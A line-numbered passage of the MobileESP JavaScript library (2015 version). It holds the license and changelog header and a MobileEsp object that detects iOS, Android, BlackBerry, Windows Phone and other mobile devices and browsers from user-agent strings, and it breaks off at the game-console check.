  1586. //
  1587. // BETA NOTICE
  1588. // Previous versions of the JavaScript code for MobileESP were 'regular'
  1589. // JavaScript. The strength of it was that it was really easy to code and use.
  1590. // Unfortunately, regular JavaScript means that all variables and functions
  1591. // are in the global namespace. There can be collisions with other code libraries
  1592. // which may have similar variable or function names. Collisions cause bugs as each
  1593. // library changes a variable's definition or functionality unexpectedly.
  1594. // As a result, we thought it wise to switch to an "object oriented" style of code.
  1595. // This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.
  1596. // It avoids potential for collisions with other JavaScript libraries.
  1597. // This technique allows the developer continued access to any desired function or property.
  1598. //
  1599. // Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com
  1600. //
  1601. //
  1602. // File version 2015.05.13 (May 13, 2015)
  1603. // Updates:
  1604. // - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp
  1605. // - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet.
  1606. // - Removed DetectOperaAndroidPhone(). This method is no longer reliable.
  1607. // - Removed DetectOperaAndroidTablet(). This method is no longer reliable.
  1608. // - Added support for Windows Phone 10: variable and DetectWindowsPhone10()
  1609. // - Updated DetectWindowsPhone() to include WP10.
  1610. // - Added support for Firefox OS.
  1611. // - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()
  1612. // - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.
  1613. // - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time.
  1614. // - A variable plus DetectSailfish(), DetectSailfishPhone()
  1615. // - Added support for Ubuntu Mobile OS.
  1616. // - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()
  1617. // - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps.
  1618. // - One variable for Samsung Tizen TVs, plus DetectTizenTV()
  1619. // - One variable for LG WebOS TVs, plus DetectWebOSTV()
  1620. // - Updated DetectTizen(). Now tests for “mobile” to disambiguate from Samsung Smart TVs
  1621. // - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.
  1622. // - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet.
  1623. // - Updated DetectAndroidPhone().
  1624. // - Updated internal detection code for Android.
  1625. // - No longer has a special test case for the HTC Flyer tablet.
  1626. // - Checks against DetectOperaMobile() on Android and reports here if relevant.
  1627. // - Updated DetectAndroidTablet().
  1628. // - No longer has a special test case for the HTC Flyer tablet.
  1629. // - Checks against DetectOperaMobile() on Android to exclude it from here.
  1630. // - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones.
  1631. // - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.
  1632. // - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile.
  1633. // - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile.
  1634. // - DetectSmartphone(): Added support for Meego phones.
  1635. // - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():
  1636. // - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()
  1637. //
  1638. //
  1639. //
  1640. // LICENSE INFORMATION
  1641. // Licensed under the Apache License, Version 2.0 (the "License");
  1642. // you may not use this file except in compliance with the License.
  1643. // You may obtain a copy of the License at
  1644. // http://www.apache.org/licenses/LICENSE-2.0
  1645. // Unless required by applicable law or agreed to in writing,
  1646. // software distributed under the License is distributed on an
  1647. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  1648. // either express or implied. See the License for the specific
  1649. // language governing permissions and limitations under the License.
  1650. //
  1651. //
  1652. // ABOUT THIS PROJECT
  1653. // Project Owner: Anthony Hand
  1654. // Email: anthony.hand@gmail.com
  1655. // Web Site: http://www.mobileesp.com
  1656. // Source Files: https://github.com/ahand/mobileesp
  1657. //
  1658. // Versions of this code are available for:
  1659. // PHP, JavaScript, Java, ASP.NET (C#), Ruby and others
  1660. //
  1661. //
  1662. // WARNING:
  1663. // These JavaScript-based device detection features may ONLY work
  1664. // for the newest generation of smartphones, such as the iPhone,
  1665. // Android and Palm WebOS devices.
  1666. // These device detection features may NOT work for older smartphones
  1667. // which had poor support for JavaScript, including
  1668. // older BlackBerry, PalmOS, and Windows Mobile devices.
  1669. // Additionally, because JavaScript support is extremely poor among
  1670. // 'feature phones', these features may not work at all on such devices.
  1671. // For better results, consider using a server-based version of this code,
  1672. // such as Java, APS.NET, PHP, or Ruby.
  1673. //
  1674. // *******************************************
  1675. */
  1676.  
  1677.  
  1678. var MobileEsp = {
  1679.  
  1680. //GLOBALLY USEFUL VARIABLES
  1681. //Note: These values are set automatically during the Init function.
  1682. //Stores whether we're currently initializing the most popular functions.
  1683. initCompleted : false,
  1684. isWebkit : false, //Stores the result of DetectWebkit()
  1685. isMobilePhone : false, //Stores the result of DetectMobileQuick()
  1686. isIphone : false, //Stores the result of DetectIphone()
  1687. isAndroid : false, //Stores the result of DetectAndroid()
  1688. isAndroidPhone : false, //Stores the result of DetectAndroidPhone()
  1689. isTierTablet : false, //Stores the result of DetectTierTablet()
  1690. isTierIphone : false, //Stores the result of DetectTierIphone()
  1691. isTierRichCss : false, //Stores the result of DetectTierRichCss()
  1692. isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()
  1693.  
  1694. //INTERNALLY USED DETECTION STRING VARIABLES
  1695. engineWebKit : 'webkit',
  1696. deviceIphone : 'iphone',
  1697. deviceIpod : 'ipod',
  1698. deviceIpad : 'ipad',
  1699. deviceMacPpc : 'macintosh', //Used for disambiguation
  1700.  
  1701. deviceAndroid : 'android',
  1702. deviceGoogleTV : 'googletv',
  1703.  
  1704. deviceWinPhone7 : 'windows phone os 7',
  1705. deviceWinPhone8 : 'windows phone 8',
  1706. deviceWinPhone10 : 'windows phone 10',
  1707. deviceWinMob : 'windows ce',
  1708. deviceWindows : 'windows',
  1709. deviceIeMob : 'iemobile',
  1710. devicePpc : 'ppc', //Stands for PocketPC
  1711. enginePie : 'wm5 pie', //An old Windows Mobile
  1712.  
  1713. deviceBB : 'blackberry',
  1714. deviceBB10 : 'bb10', //For the new BB 10 OS
  1715. vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox
  1716. deviceBBStorm : 'blackberry95', //Storm 1 and 2
  1717. deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)
  1718. deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)
  1719. deviceBBTour : 'blackberry96', //Tour
  1720. deviceBBCurve : 'blackberry89', //Curve 2
  1721. deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380
  1722. deviceBBTorch : 'blackberry 98', //Torch
  1723. deviceBBPlaybook : 'playbook', //PlayBook tablet
  1724.  
  1725. deviceSymbian : 'symbian',
  1726. deviceSymbos : 'symbos', //Opera 10 on Symbian
  1727. deviceS60 : 'series60',
  1728. deviceS70 : 'series70',
  1729. deviceS80 : 'series80',
  1730. deviceS90 : 'series90',
  1731.  
  1732. devicePalm : 'palm',
  1733. deviceWebOS : 'webos', //For Palm devices
  1734. deviceWebOStv : 'web0s', //For LG TVs
  1735. deviceWebOShp : 'hpwos', //For HP's line of WebOS devices
  1736.  
  1737. deviceNuvifone : 'nuvifone', //Garmin Nuvifone
  1738. deviceBada : 'bada', //Samsung's Bada OS
  1739. deviceTizen : 'tizen', //Tizen OS
  1740. deviceMeego : 'meego', //Meego OS
  1741. deviceSailfish : 'sailfish', //Sailfish OS
  1742. deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS
  1743.  
  1744. deviceKindle : 'kindle', //Amazon eInk Kindle
  1745. engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire
  1746.  
  1747. engineBlazer : 'blazer', //Old Palm browser
  1748. engineXiino : 'xiino',
  1749.  
  1750. //Initialize variables for mobile-specific content.
  1751. vndwap : 'vnd.wap',
  1752. wml : 'wml',
  1753.  
  1754. //Initialize variables for random devices and mobile browsers.
  1755. //Some of these may not support JavaScript
  1756. deviceTablet : 'tablet',
  1757. deviceBrew : 'brew',
  1758. deviceDanger : 'danger',
  1759. deviceHiptop : 'hiptop',
  1760. devicePlaystation : 'playstation',
  1761. devicePlaystationVita : 'vita',
  1762. deviceNintendoDs : 'nitro',
  1763. deviceNintendo : 'nintendo',
  1764. deviceWii : 'wii',
  1765. deviceXbox : 'xbox',
  1766. deviceArchos : 'archos',
  1767.  
  1768. engineFirefox : 'firefox', //For Firefox OS
  1769. engineOpera : 'opera', //Popular browser
  1770. engineNetfront : 'netfront', //Common embedded OS browser
  1771. engineUpBrowser : 'up.browser', //common on some phones
  1772. deviceMidp : 'midp', //a mobile Java technology
  1773. uplink : 'up.link',
  1774. engineTelecaQ : 'teleca q', //a modern feature phone browser
  1775. engineObigo : 'obigo', //W 10 is a modern feature phone browser
  1776.  
  1777. devicePda : 'pda',
  1778. mini : 'mini', //Some mobile browsers put 'mini' in their names
  1779. mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings
  1780. mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings
  1781.  
  1782. //Smart TV strings
  1783. smartTV1 : 'smart-tv', //Samsung Tizen smart TVs
  1784. smartTV2 : 'smarttv', //LG WebOS smart TVs
  1785.  
  1786. //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.
  1787. maemo : 'maemo',
  1788. linux : 'linux',
  1789. mylocom2 : 'sony/com', // for Sony Mylo 1 and 2
  1790.  
  1791. //In some UserAgents, the only clue is the manufacturer
  1792. manuSonyEricsson : 'sonyericsson',
  1793. manuericsson : 'ericsson',
  1794. manuSamsung1 : 'sec-sgh',
  1795. manuSony : 'sony',
  1796. manuHtc : 'htc', //Popular Android and WinMo manufacturer
  1797.  
  1798. //In some UserAgents, the only clue is the operator
  1799. svcDocomo : 'docomo',
  1800. svcKddi : 'kddi',
  1801. svcVodafone : 'vodafone',
  1802.  
  1803. //Disambiguation strings.
  1804. disUpdate : 'update', //pda vs. update
  1805.  
  1806. //Holds the User Agent string value.
  1807. uagent : '',
  1808.  
  1809. //Initializes key MobileEsp variables
  1810. InitDeviceScan : function() {
  1811. this.initCompleted = false;
  1812.  
  1813. if (navigator && navigator.userAgent)
  1814. this.uagent = navigator.userAgent.toLowerCase();
  1815.  
  1816. //Save these properties to speed processing
  1817. this.isWebkit = this.DetectWebkit();
  1818. this.isIphone = this.DetectIphone();
  1819. this.isAndroid = this.DetectAndroid();
  1820. this.isAndroidPhone = this.DetectAndroidPhone();
  1821.  
  1822. //Generally, these tiers are the most useful for web development
  1823. this.isMobilePhone = this.DetectMobileQuick();
  1824. this.isTierIphone = this.DetectTierIphone();
  1825. this.isTierTablet = this.DetectTierTablet();
  1826.  
  1827. //Optional: Comment these out if you NEVER use them
  1828. this.isTierRichCss = this.DetectTierRichCss();
  1829. this.isTierGenericMobile = this.DetectTierOtherPhones();
  1830.  
  1831. this.initCompleted = true;
  1832. },
  1833.  
  1834.  
  1835. //APPLE IOS
  1836.  
  1837. //**************************
  1838. // Detects if the current device is an iPhone.
  1839. DetectIphone : function() {
  1840. if (this.initCompleted || this.isIphone)
  1841. return this.isIphone;
  1842.  
  1843. if (this.uagent.search(this.deviceIphone) > -1)
  1844. {
  1845. //The iPad and iPod Touch say they're an iPhone! So let's disambiguate.
  1846. if (this.DetectIpad() || this.DetectIpod())
  1847. return false;
  1848. //Yay! It's an iPhone!
  1849. else
  1850. return true;
  1851. }
  1852. else
  1853. return false;
  1854. },
  1855.  
  1856. //**************************
  1857. // Detects if the current device is an iPod Touch.
  1858. DetectIpod : function() {
  1859. if (this.uagent.search(this.deviceIpod) > -1)
  1860. return true;
  1861. else
  1862. return false;
  1863. },
  1864.  
  1865. //**************************
  1866. // Detects if the current device is an iPhone or iPod Touch.
  1867. DetectIphoneOrIpod : function() {
  1868. //We repeat the searches here because some iPods
  1869. // may report themselves as an iPhone, which is ok.
  1870. if (this.DetectIphone() || this.DetectIpod())
  1871. return true;
  1872. else
  1873. return false;
  1874. },
  1875.  
  1876. //**************************
  1877. // Detects if the current device is an iPad tablet.
  1878. DetectIpad : function() {
  1879. if (this.uagent.search(this.deviceIpad) > -1 && this.DetectWebkit())
  1880. return true;
  1881. else
  1882. return false;
  1883. },
  1884.  
  1885. //**************************
  1886. // Detects *any* iOS device: iPhone, iPod Touch, iPad.
  1887. DetectIos : function() {
  1888. if (this.DetectIphoneOrIpod() || this.DetectIpad())
  1889. return true;
  1890. else
  1891. return false;
  1892. },
  1893.  
  1894.  
  1895. //ANDROID
  1896.  
  1897. //**************************
  1898. // Detects *any* Android OS-based device: phone, tablet, and multi-media player.
  1899. // Also detects Google TV.
  1900. DetectAndroid : function() {
  1901. if (this.initCompleted || this.isAndroid)
  1902. return this.isAndroid;
  1903.  
  1904. if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())
  1905. return true;
  1906.  
  1907. return false;
  1908. },
  1909.  
  1910. //**************************
  1911. // Detects if the current device is a (small-ish) Android OS-based device
  1912. // used for calling and/or multi-media (like a Samsung Galaxy Player).
  1913. // Google says these devices will have 'Android' AND 'mobile' in user agent.
  1914. // Ignores tablets (Honeycomb and later).
  1915. DetectAndroidPhone : function() {
  1916. if (this.initCompleted || this.isAndroidPhone)
  1917. return this.isAndroidPhone;
  1918.  
  1919. //First, let's make sure we're on an Android device.
  1920. if (!this.DetectAndroid())
  1921. return false;
  1922.  
  1923. //If it's Android and has 'mobile' in it, Google says it's a phone.
  1924. if (this.uagent.search(this.mobile) > -1)
  1925. return true;
  1926.  
  1927. //Special check for Android phones with Opera Mobile. They should report here.
  1928. if (this.DetectOperaMobile())
  1929. return true;
  1930.  
  1931. return false;
  1932. },
  1933.  
  1934. //**************************
  1935. // Detects if the current device is a (self-reported) Android tablet.
  1936. // Google says these devices will have 'Android' and NOT 'mobile' in their user agent.
  1937. DetectAndroidTablet : function() {
  1938. //First, let's make sure we're on an Android device.
  1939. if (!this.DetectAndroid())
  1940. return false;
  1941.  
  1942. //Special check for Opera Android Phones. They should NOT report here.
  1943. if (this.DetectOperaMobile())
  1944. return false;
  1945.  
  1946. //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.
  1947. if (this.uagent.search(this.mobile) > -1)
  1948. return false;
  1949. else
  1950. return true;
  1951. },
  1952.  
  1953. //**************************
  1954. // Detects if the current device is an Android OS-based device and
  1955. // the browser is based on WebKit.
  1956. DetectAndroidWebKit : function() {
  1957. if (this.DetectAndroid() && this.DetectWebkit())
  1958. return true;
  1959. else
  1960. return false;
  1961. },
  1962.  
  1963. //**************************
  1964. // Detects if the current device is a GoogleTV.
  1965. DetectGoogleTV : function() {
  1966. if (this.uagent.search(this.deviceGoogleTV) > -1)
  1967. return true;
  1968. else
  1969. return false;
  1970. },
  1971.  
  1972. //**************************
  1973. // Detects if the current browser is based on WebKit.
  1974. DetectWebkit : function() {
  1975. if (this.initCompleted || this.isWebkit)
  1976. return this.isWebkit;
  1977.  
  1978. if (this.uagent.search(this.engineWebKit) > -1)
  1979. return true;
  1980. else
  1981. return false;
  1982. },
  1983.  
  1984.  
  1985. //WINDOWS MOBILE AND PHONE
  1986.  
  1987. // Detects if the current browser is a
  1988. // Windows Phone 7, 8, or 10 device.
  1989. DetectWindowsPhone : function() {
  1990. if (this.DetectWindowsPhone7() ||
  1991. this.DetectWindowsPhone8() ||
  1992. this.DetectWindowsPhone10())
  1993. return true;
  1994. else
  1995. return false;
  1996. },
  1997.  
  1998. //**************************
  1999. // Detects a Windows Phone 7 device (in mobile browsing mode).
  2000. DetectWindowsPhone7 : function() {
  2001. if (this.uagent.search(this.deviceWinPhone7) > -1)
  2002. return true;
  2003. else
  2004. return false;
  2005. },
  2006.  
  2007. //**************************
  2008. // Detects a Windows Phone 8 device (in mobile browsing mode).
  2009. DetectWindowsPhone8 : function() {
  2010. if (this.uagent.search(this.deviceWinPhone8) > -1)
  2011. return true;
  2012. else
  2013. return false;
  2014. },
  2015.  
  2016. //**************************
  2017. // Detects a Windows Phone 10 device (in mobile browsing mode).
  2018. DetectWindowsPhone10 : function() {
  2019. if (this.uagent.search(this.deviceWinPhone10) > -1)
  2020. return true;
  2021. else
  2022. return false;
  2023. },
  2024.  
  2025. //**************************
  2026. // Detects if the current browser is a Windows Mobile device.
  2027. // Excludes Windows Phone 7 and later devices.
  2028. // Focuses on Windows Mobile 6.xx and earlier.
  2029. DetectWindowsMobile : function() {
  2030. if (this.DetectWindowsPhone())
  2031. return false;
  2032.  
  2033. //Most devices use 'Windows CE', but some report 'iemobile'
  2034. // and some older ones report as 'PIE' for Pocket IE.
  2035. if (this.uagent.search(this.deviceWinMob) > -1 ||
  2036. this.uagent.search(this.deviceIeMob) > -1 ||
  2037. this.uagent.search(this.enginePie) > -1)
  2038. return true;
  2039. //Test for Windows Mobile PPC but not old Macintosh PowerPC.
  2040. if ((this.uagent.search(this.devicePpc) > -1) &&
  2041. !(this.uagent.search(this.deviceMacPpc) > -1))
  2042. return true;
  2043. //Test for Windwos Mobile-based HTC devices.
  2044. if (this.uagent.search(this.manuHtc) > -1 &&
  2045. this.uagent.search(this.deviceWindows) > -1)
  2046. return true;
  2047. else
  2048. return false;
  2049. },
  2050.  
  2051.  
  2052. //BLACKBERRY
  2053.  
  2054. //**************************
  2055. // Detects if the current browser is a BlackBerry of some sort.
  2056. // Includes BB10 OS, but excludes the PlayBook.
  2057. DetectBlackBerry : function() {
  2058. if ((this.uagent.search(this.deviceBB) > -1) ||
  2059. (this.uagent.search(this.vndRIM) > -1))
  2060. return true;
  2061. if (this.DetectBlackBerry10Phone())
  2062. return true;
  2063. else
  2064. return false;
  2065. },
  2066.  
  2067. //**************************
  2068. // Detects if the current browser is a BlackBerry 10 OS phone.
  2069. // Excludes tablets.
  2070. DetectBlackBerry10Phone : function() {
  2071. if ((this.uagent.search(this.deviceBB10) > -1) &&
  2072. (this.uagent.search(this.mobile) > -1))
  2073. return true;
  2074. else
  2075. return false;
  2076. },
  2077.  
  2078. //**************************
  2079. // Detects if the current browser is on a BlackBerry tablet device.
  2080. // Example: PlayBook
  2081. DetectBlackBerryTablet : function() {
  2082. if (this.uagent.search(this.deviceBBPlaybook) > -1)
  2083. return true;
  2084. else
  2085. return false;
  2086. },
  2087.  
  2088. //**************************
  2089. // Detects if the current browser is a BlackBerry device AND uses a
  2090. // WebKit-based browser. These are signatures for the new BlackBerry OS 6.
  2091. // Examples: Torch. Includes the Playbook.
  2092. DetectBlackBerryWebKit : function() {
  2093. if (this.DetectBlackBerry() &&
  2094. this.uagent.search(this.engineWebKit) > -1)
  2095. return true;
  2096. else
  2097. return false;
  2098. },
  2099.  
  2100. //**************************
  2101. // Detects if the current browser is a BlackBerry Touch
  2102. // device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.
  2103. DetectBlackBerryTouch : function() {
  2104. if (this.DetectBlackBerry() &&
  2105. ((this.uagent.search(this.deviceBBStorm) > -1) ||
  2106. (this.uagent.search(this.deviceBBTorch) > -1) ||
  2107. (this.uagent.search(this.deviceBBBoldTouch) > -1) ||
  2108. (this.uagent.search(this.deviceBBCurveTouch) > -1) ))
  2109. return true;
  2110. else
  2111. return false;
  2112. },
  2113.  
  2114. //**************************
  2115. // Detects if the current browser is a BlackBerry OS 5 device AND
  2116. // has a more capable recent browser. Excludes the Playbook.
  2117. // Examples, Storm, Bold, Tour, Curve2
  2118. // Excludes the new BlackBerry OS 6 and 7 browser!!
  2119. DetectBlackBerryHigh : function() {
  2120. //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser
  2121. if (this.DetectBlackBerryWebKit())
  2122. return false;
  2123. if ((this.DetectBlackBerry()) &&
  2124. (this.DetectBlackBerryTouch() ||
  2125. this.uagent.search(this.deviceBBBold) > -1 ||
  2126. this.uagent.search(this.deviceBBTour) > -1 ||
  2127. this.uagent.search(this.deviceBBCurve) > -1))
  2128. return true;
  2129. else
  2130. return false;
  2131. },
  2132.  
  2133. //**************************
  2134. // Detects if the current browser is a BlackBerry device AND
  2135. // has an older, less capable browser.
  2136. // Examples: Pearl, 8800, Curve1.
  2137. DetectBlackBerryLow : function() {
  2138. if (this.DetectBlackBerry())
  2139. {
  2140. //Assume that if it's not in the High tier or has WebKit, then it's Low.
  2141. if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())
  2142. return false;
  2143. else
  2144. return true;
  2145. }
  2146. else
  2147. return false;
  2148. },
  2149.  
  2150.  
  2151. //SYMBIAN
  2152.  
  2153. //**************************
  2154. // Detects if the current browser is the Nokia S60 Open Source Browser.
  2155. DetectS60OssBrowser : function() {
  2156. if (this.DetectWebkit())
  2157. {
  2158. if ((this.uagent.search(this.deviceS60) > -1 ||
  2159. this.uagent.search(this.deviceSymbian) > -1))
  2160. return true;
  2161. else
  2162. return false;
  2163. }
  2164. else
  2165. return false;
  2166. },
  2167.  
  2168. //**************************
  2169. // Detects if the current device is any Symbian OS-based device,
  2170. // including older S60, Series 70, Series 80, Series 90, and UIQ,
  2171. // or other browsers running on these devices.
  2172. DetectSymbianOS : function() {
  2173. if (this.uagent.search(this.deviceSymbian) > -1 ||
  2174. this.uagent.search(this.deviceS60) > -1 ||
  2175. ((this.uagent.search(this.deviceSymbos) > -1) &&
  2176. (this.DetectOperaMobile)) || //Opera 10
  2177. this.uagent.search(this.deviceS70) > -1 ||
  2178. this.uagent.search(this.deviceS80) > -1 ||
  2179. this.uagent.search(this.deviceS90) > -1)
  2180. return true;
  2181. else
  2182. return false;
  2183. },
  2184.  
  2185.  
  2186. //WEBOS AND PALM
  2187.  
  2188. //**************************
  2189. // Detects if the current browser is on a PalmOS device.
  2190. DetectPalmOS : function() {
  2191. //Make sure it's not WebOS first
  2192. if (this.DetectPalmWebOS())
  2193. return false;
  2194.  
  2195. //Most devices nowadays report as 'Palm',
  2196. // but some older ones reported as Blazer or Xiino.
  2197. if (this.uagent.search(this.devicePalm) > -1 ||
  2198. this.uagent.search(this.engineBlazer) > -1 ||
  2199. this.uagent.search(this.engineXiino) > -1)
  2200. return true;
  2201. else
  2202. return false;
  2203. },
  2204.  
  2205. //**************************
  2206. // Detects if the current browser is on a Palm device
  2207. // running the new WebOS.
  2208. DetectPalmWebOS : function()
  2209. {
  2210. if (this.uagent.search(this.deviceWebOS) > -1)
  2211. return true;
  2212. else
  2213. return false;
  2214. },
  2215.  
  2216. //**************************
  2217. // Detects if the current browser is on an HP tablet running WebOS.
  2218. DetectWebOSTablet : function() {
  2219. if (this.uagent.search(this.deviceWebOShp) > -1 &&
  2220. this.uagent.search(this.deviceTablet) > -1)
  2221. return true;
  2222. else
  2223. return false;
  2224. },
  2225.  
  2226. //**************************
  2227. // Detects if the current browser is on a WebOS smart TV.
  2228. DetectWebOSTV : function() {
  2229. if (this.uagent.search(this.deviceWebOStv) > -1 &&
  2230. this.uagent.search(this.smartTV2) > -1)
  2231. return true;
  2232. else
  2233. return false;
  2234. },
  2235.  
  2236.  
  2237. //OPERA
  2238.  
  2239. //**************************
  2240. // Detects if the current browser is Opera Mobile or Mini.
  2241. // Note: Older embedded Opera on mobile devices didn't follow these naming conventions.
  2242. // Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead.
  2243. DetectOperaMobile : function() {
  2244. if ((this.uagent.search(this.engineOpera) > -1) &&
  2245. ((this.uagent.search(this.mini) > -1 ||
  2246. this.uagent.search(this.mobi) > -1)))
  2247. return true;
  2248. else
  2249. return false;
  2250. },
  2251.  
  2252.  
  2253. //MISCELLANEOUS DEVICES
  2254.  
  2255. //**************************
  2256. // Detects if the current device is an Amazon Kindle (eInk devices only).
  2257. // Note: For the Kindle Fire, use the normal Android methods.
  2258. DetectKindle : function() {
  2259. if (this.uagent.search(this.deviceKindle) > -1 &&
  2260. !this.DetectAndroid())
  2261. return true;
  2262. else
  2263. return false;
  2264. },
  2265.  
  2266. //**************************
  2267. // Detects if the current Amazon device has turned on the Silk accelerated browsing feature.
  2268. // Note: Typically used by the the Kindle Fire.
  2269. DetectAmazonSilk : function() {
  2270. if (this.uagent.search(this.engineSilk) > -1)
  2271. return true;
  2272. else
  2273. return false;
  2274. },
  2275.  
  2276. //**************************
  2277. // Detects if the current browser is a
  2278. // Garmin Nuvifone.
  2279. DetectGarminNuvifone : function() {
  2280. if (this.uagent.search(this.deviceNuvifone) > -1)
  2281. return true;
  2282. else
  2283. return false;
  2284. },
  2285.  
  2286. //**************************
  2287. // Detects a device running the Bada OS from Samsung.
  2288. DetectBada : function() {
  2289. if (this.uagent.search(this.deviceBada) > -1)
  2290. return true;
  2291. else
  2292. return false;
  2293. },
  2294.  
  2295. //**************************
  2296. // Detects a device running the Tizen smartphone OS.
  2297. DetectTizen : function() {
  2298. if (this.uagent.search(this.deviceTizen) > -1 &&
  2299. this.uagent.search(this.mobile) > -1)
  2300. return true;
  2301. else
  2302. return false;
  2303. },
  2304.  
  2305. //**************************
  2306. // Detects if the current browser is on a Tizen smart TV.
  2307. DetectTizenTV : function() {
  2308. if (this.uagent.search(this.deviceTizen) > -1 &&
  2309. this.uagent.search(this.smartTV1) > -1)
  2310. return true;
  2311. else
  2312. return false;
  2313. },
  2314.  
  2315. //**************************
  2316. // Detects a device running the Meego OS.
  2317. DetectMeego : function() {
  2318. if (this.uagent.search(this.deviceMeego) > -1)
  2319. return true;
  2320. else
  2321. return false;
  2322. },
  2323.  
  2324. //**************************
  2325. // Detects a phone running the Meego OS.
  2326. DetectMeegoPhone : function() {
  2327. if (this.uagent.search(this.deviceMeego) > -1 &&
  2328. this.uagent.search(this.mobi) > -1)
  2329. return true;
  2330. else
  2331. return false;
  2332. },
  2333.  
  2334. //**************************
  2335. // Detects a mobile device (probably) running the Firefox OS.
  2336. DetectFirefoxOS : function() {
  2337. if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())
  2338. return true;
  2339. else
  2340. return false;
  2341. },
  2342.  
  2343. //**************************
  2344. // Detects a phone (probably) running the Firefox OS.
  2345. DetectFirefoxOSPhone : function() {
  2346. //First, let's make sure we're NOT on another major mobile OS.
  2347. if (this.DetectIos() ||
  2348. this.DetectAndroid() ||
  2349. this.DetectSailfish())
  2350. return false;
  2351.  
  2352. if ((this.uagent.search(this.engineFirefox) > -1) &&
  2353. (this.uagent.search(this.mobile) > -1))
  2354. return true;
  2355.  
  2356. return false;
  2357. },
  2358.  
  2359. //**************************
  2360. // Detects a tablet (probably) running the Firefox OS.
  2361. DetectFirefoxOSTablet : function() {
  2362. //First, let's make sure we're NOT on another major mobile OS.
  2363. if (this.DetectIos() ||
  2364. this.DetectAndroid() ||
  2365. this.DetectSailfish())
  2366. return false;
  2367.  
  2368. if ((this.uagent.search(this.engineFirefox) > -1) &&
  2369. (this.uagent.search(this.deviceTablet) > -1))
  2370. return true;
  2371.  
  2372. return false;
  2373. },
  2374.  
  2375. //**************************
  2376. // Detects a device running the Sailfish OS.
  2377. DetectSailfish : function() {
  2378. if (this.uagent.search(this.deviceSailfish) > -1)
  2379. return true;
  2380. else
  2381. return false;
  2382. },
  2383.  
  2384. //**************************
  2385. // Detects a phone running the Sailfish OS.
  2386. DetectSailfishPhone : function() {
  2387. if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))
  2388. return true;
  2389.  
  2390. return false;
  2391. },
  2392.  
  2393.  
  2394. //**************************
  2395. // Detects a mobile device running the Ubuntu Mobile OS.
  2396. DetectUbuntu : function() {
  2397. if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())
  2398. return true;
  2399. else
  2400. return false;
  2401. },
  2402.  
  2403. //**************************
  2404. // Detects a phone running the Ubuntu Mobile OS.
  2405. DetectUbuntuPhone : function() {
  2406. if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2407. (this.uagent.search(this.mobile) > -1))
  2408. return true;
  2409.  
  2410. return false;
  2411. },
  2412.  
  2413. //**************************
  2414. // Detects a tablet running the Ubuntu Mobile OS.
  2415. DetectUbuntuTablet : function() {
  2416. if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2417. (this.uagent.search(this.deviceTablet) > -1))
  2418. return true;
  2419.  
  2420. return false;
  2421. },
  2422.  
  2423. //**************************
  2424. // Detects the Danger Hiptop device.
  2425. DetectDangerHiptop : function() {
  2426. if (this.uagent.search(this.deviceDanger) > -1 ||
  2427. this.uagent.search(this.deviceHiptop) > -1)
  2428. return true;
  2429. else
  2430. return false;
  2431. },
  2432.  
  2433. //**************************
  2434. // Detects if the current browser is a Sony Mylo device.
  2435. DetectSonyMylo : function() {
  2436. if ((this.uagent.search(this.manuSony) > -1) &&
  2437. ((this.uagent.search(this.qtembedded) > -1) ||
  2438. (this.uagent.search(this.mylocom2) > -1)))
  2439. return true;
  2440. else
  2441. return false;
  2442. },
  2443.  
  2444. //**************************
  2445. // Detects if the current device is on one of
  2446. // the Maemo-based Nokia Internet Tablets.
  2447. DetectMaemoTablet : function() {
  2448. if (this.uagent.search(this.maemo) > -1)
  2449. return true;
  2450. //For Nokia N810, must be Linux + Tablet, or else it could be something else.
  2451. if ((this.uagent.search(this.linux) > -1) &&
  2452. (this.uagent.search(this.deviceTablet) > -1) &&
  2453. this.DetectWebOSTablet() &&
  2454. !this.DetectAndroid())
  2455. return true;
  2456. else
  2457. return false;
  2458. },
  2459.  
  2460. //**************************
  2461. // Detects if the current device is an Archos media player/Internet tablet.
  2462. DetectArchos : function() {
  2463. if (this.uagent.search(this.deviceArchos) > -1)
  2464. return true;
  2465. else
  2466. return false;
  2467. },
  2468.  
  2469. //**************************
  2470. // Detects if the current device is an Internet-capable game console.
  2471. // Includes many handheld consoles.
  2472. DetectGameConsole : function() {
